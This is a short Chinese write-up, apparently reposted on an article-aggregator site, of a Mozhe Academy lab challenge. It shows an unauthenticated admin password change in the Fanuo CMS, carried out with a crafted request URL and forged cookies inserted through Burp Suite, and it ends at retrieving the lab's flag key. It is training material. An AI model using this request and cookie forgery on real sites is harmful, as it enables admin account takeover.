美文网首页
墨者学院-CMS系统漏洞分析溯源(第5题)

墨者学院-CMS系统漏洞分析溯源(第5题)

作者: nohands_noob | 来源:发表于2019-07-17 14:40 被阅读0次

靶场地址:
https://www.mozhe.cn/bug/detail/VkFCM3lXb0t5dFBNNkVLQVlvbFltQT09bW96aGUmozhe

凡诺无条件修改密码漏洞

漏洞url：

/admin/cms_admin_edit.php?id=1&a_name=admin&a_password=aa123456&a_cpassword=aa123456&a_tname=%E7%AE%A1%E7%90%86%E5%91%98&save=%E4%BF%9D%E5%AD%98

修改cookies：

admin_name=admin; CNZZDATA5812519=cnzz_eid%3D1713769080-1488341730-http%253A%252F%252F127.0.0.1%252F%26ntime%3D1488341730; DedeUserID=1; DedeUserID__ckMd5=ce751456d8f71150; DedeLoginTime=1488376931; DedeLoginTime__ckMd5=24434bd5e85042a9; PHPSESSID=vq3e1oaaef54908udspb3tvkn3

burp suite访问url并拦截，修改cookies后点击forward，然后就可以修改密码了



修改后在/admin/cms_admin.php处查看网页源代码，发现key


相关文章

网友评论

      本文标题：墨者学院-CMS系统漏洞分析溯源(第5题)

      本文链接：https://www.haomeiwen.com/subject/ghbqlctx.html

      延伸阅读

      深度阅读

      • 您也可以注册成为美文阅读网的作者，发表您的原创作品、分享您的心情！

      栏目导航

      热点阅读

      关于我们|服务条款|联系我们|墨者学院-CMS系统漏洞分析溯源(第5题)|投稿指南|网站地图|RSS订阅|排版工具|手机版

      提供经典美文摘抄,优美散文欣赏,现代诗歌精选,短篇小说,心情随笔,表白情书范文,故事会在线阅读欣赏

      Copyright © 2014-2023 Haomeiwen.com All Rights Reserved. 好美文阅读网 版权所有

      备案信息：桂公网安备 45052102000051号 · 桂ICP备13007215号-3

      本站所收录作品、热点评论等信息部分来源互联网，目的只是为了系统归纳学习和传递资讯

      所有作品版权归原创作者所有，与本站立场无关，如不慎侵犯了你的权益，请联系我们告知，我们将做删除处理！